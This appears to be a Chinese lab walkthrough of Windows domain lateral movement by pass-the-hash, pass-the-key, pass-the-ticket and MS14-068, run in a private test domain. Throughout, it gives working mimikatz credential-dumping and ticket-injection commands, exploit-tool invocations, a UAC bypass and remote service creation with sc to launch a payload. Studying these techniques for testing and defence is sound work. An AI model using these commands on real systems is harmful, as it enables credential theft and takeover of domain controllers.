Pass the Hash 哈希传递攻击(PTH)横向移动
哈希传递
大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关 的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本 地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登 录内网中的其他计算机。同 时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)。 在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和 工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来 完成任务。在 WindowsServer2012R2及之后版 本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权 限验证,实现对远程计算机的控制
希传递攻击原理
当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明 文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密 处理(通常使用MD5算法)散列加密算法般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加 密处理,再与数据 库中存储的散列值进行对比,如果完全相同则表示验证成功。 主流的Windows操作系统,通常会使用 NTLM Hash对访问资源的用户进行身份验证。早期 版本的 Windows操作系 统,则使用 LMHash对用户密码进行验证。但是,当密码大于等于14位 时,就无法使用 LM Hash了。从 Windows vista和 Windowsserver2008版本开始, Windows操作 系统默认禁用 LMHash,因为在使用 NTLM Hash进行身份认 证时,不会使用明文口令,而是将明文口令通过系统API(例如Lsalogon User)转换成散列值。不过,攻击者在获得密 码散列值之 后,依旧可以使用哈希传递攻击来模拟用户进行认证。
哈希传递条件
哈希传递攻击的前提:有管理员的NTLM Hash,并且目标机器开放445端口。
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 WindowsVista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
哈希传递实验
1.实验环境如下
192.168.113.144 ZZC 域内但非域用户
要控制域内用户krbuser(且为域内管理员用户)
2.提权
3.抓取ntml
mimikatz "privilege::debug" "sekurlsa::logonpasswords"
我们假装没有密码,只有ntml
mimikatz sekurlsa::pth /user:administrator /domain:test.com /ntlm:c8e710f9876360e5f96dc23cca029d49
这里可以看见上线了一个高权限的cmd
3.横向移动
pass the key 密钥传递攻击(PTK)横向攻击
WinXP/2003/Vista/2008 ,以及未打KB2871997补丁之前的 Win7/2008r2/8/2012,这些环境我们都可以使用NTLM哈希传递
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行验证
什么是KB2871997
KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。
这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字
但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?这个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!
实验条件
机器名 | 系统 | 登录用户 | IP |
域内主机 (jack) | windows server 2012 | 本地管理员但不是域管jack | 192.168.113.162 |
域内主机 (krbuser) | windows 10 | 域内管理员 | 192.168.113.154 |
域控(DC) | windows server 2008 R2 | 域管 administrator | 192.168.113.152 |
我把jack添加到了本地管理员
一开始本来想用win10的,但是限制太多了:
Win10在CS里面用不了mimikatz,回话会被直接关闭,也没办法提权
实验前提
我们下载已经控制了jack主机,发现他是admin用户登录系统,通过抓取密码发现域管账号存在内存中,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击
实验步骤
使用钓鱼或者其他的方式进行远控, 并且绕过uac进行提权
elevate uac-eventvwr demo
他不可以访问域管的目录
抓取密码
mimikatz sekurlsa::ekeys
两个都可以
传递key
mimikatz sekurlsa::pth /user:krbuser /domain:test.com /aes256:66694fff54a438072b0e4575461ba040b13fded80ef8891aec279457116320c7
mimikatz sekurlsa::pth /user:administrator /domain:test.com /aes256:45e5b89ccc2601285f557de093499a35b13f271b3289e1e66cd1699bdcee1e75
’
shell dir \\192.168.113.152\c$
访问目录
在jack这个用户的界面就会弹出一个这样的管理员cmd
注意事项
如果出现这样的情况
原因是因为:
虽然已经加入了域,但域内的计算机账号密码和本地的安全通道密钥不同步,导致信任关系断裂:
- 域控认为这台机器不是合法的域成员,拒绝通信
- 机器的 NLA(网络位置感知)服务检测不到域控,就把网络标记为 “受限 / 未识别”
- 最终导致你无法访问域资源(比如 \\192.168.113.166\c$),直接报错信任失败
解决方法:
shell netdom reset %computername% /domain:test.com /userO:test\administrator /passwordO:qax@123
如果关机重启后发现不能登录,说是信任问题
那就用本地管理员登录,然后退出域,重启,再加入域,再次重启,在管理员cmd里面输入:
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" /v DisablePasswordChange /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" /v MaximumPasswordAge /t REG_DWORD /d 0 /f
net stop netlogon && net start netlogon
pass the ticket 票据传递攻击(PTT)横向攻击
票据传递介绍
要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。 mimikatz同样提供了不需要 本地管理员权限进行 横向渗透测试的方法,
例如票据传递( PassThe Ticket,PTT)
票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。
黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。
白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。
票据传递攻击一般分为两种
1、自己制作票据
2、传递内存中的票据
实验复现
导出内存的票据
mimikatz sekurlsa::tickets /export
shell dir
执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等。
清除内存中的票据
shell klist purge
mimikatz kerberos::purge
两个都是清除票据
将高权限的票据文件注入内存
mimikatz kerberos::ptt [0;23ded]-2-0-40e00000-Administrator@krbtgt-TEST.COM.kirbi
e…..好像有转义的问题
那就换一个好听的名字
# 原文件名 → 新文件名
shell ren "C:\Users\jack\Desktop\[0;23ded]-2-0-40e00000-Administrator@krbtgt-TEST.COM.kirbi" krbtgt.kirbi
mimikatz kerberos::ptt krbtgt.kirbi
访问域控目录
shell dir \\dc.test.com\c$
shell dir \\dc\c$
现在就可以让这个机器上线了
这个命令就不再次演示了
sc \\jackip create test binpath= "cmd.exe /c c:\123.exe"
sc \\jackip start test
sc \\jackip delete test
如果没有这个票据,就不能访问:
PTT攻击之ms14-068传递获取域管横向
MS14-068介绍
ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服
务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用
MS14-068的利用条件
1、获取域普通用户的账号密码
2、获取域普通用户的sid
3、服务器未打KB3011780补丁
MS14-068实验
环境介绍
域控:192.168.113.152 windows server 2008
域内机器:192.168.113.165 win10 jason域内普通用户本地普通用户
MS14-068利用
查看域用户的SID
whoami /all
S-1-5-21-2071415428-1615975719-3128489008-1114
清楚内存中的票据
klist purge
生成票据
ms14-068.exe -u域用户@域名-p域用户密码-s域用户SID -d域控
à
shell C:\Users\jason\Desktop\ms14-068.exe -u jason@test.com -p qax@123 -s S-1-5-21-2071415428-1615975719-3128489008-1114 -d dc.test.com
导入票据
kerberos::ptc票据名字
à
mimikatz kerberos::ptc TGT_jason@test.com.ccache
dir \\dc2.test.com\c$注意是机器名不是IP
à
dir \\dc.test.com\c$
goldenPac.exe
goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名
à
goldenPac.exe test.com/jason:qax@123@dc.test.com
现在就可以让这个机器上线了
这个命令就不再次演示了
sc \\jasonip create test binpath= "cmd.exe /c c:\123.exe"
sc \\jasonip start test
sc \\jasonip delete test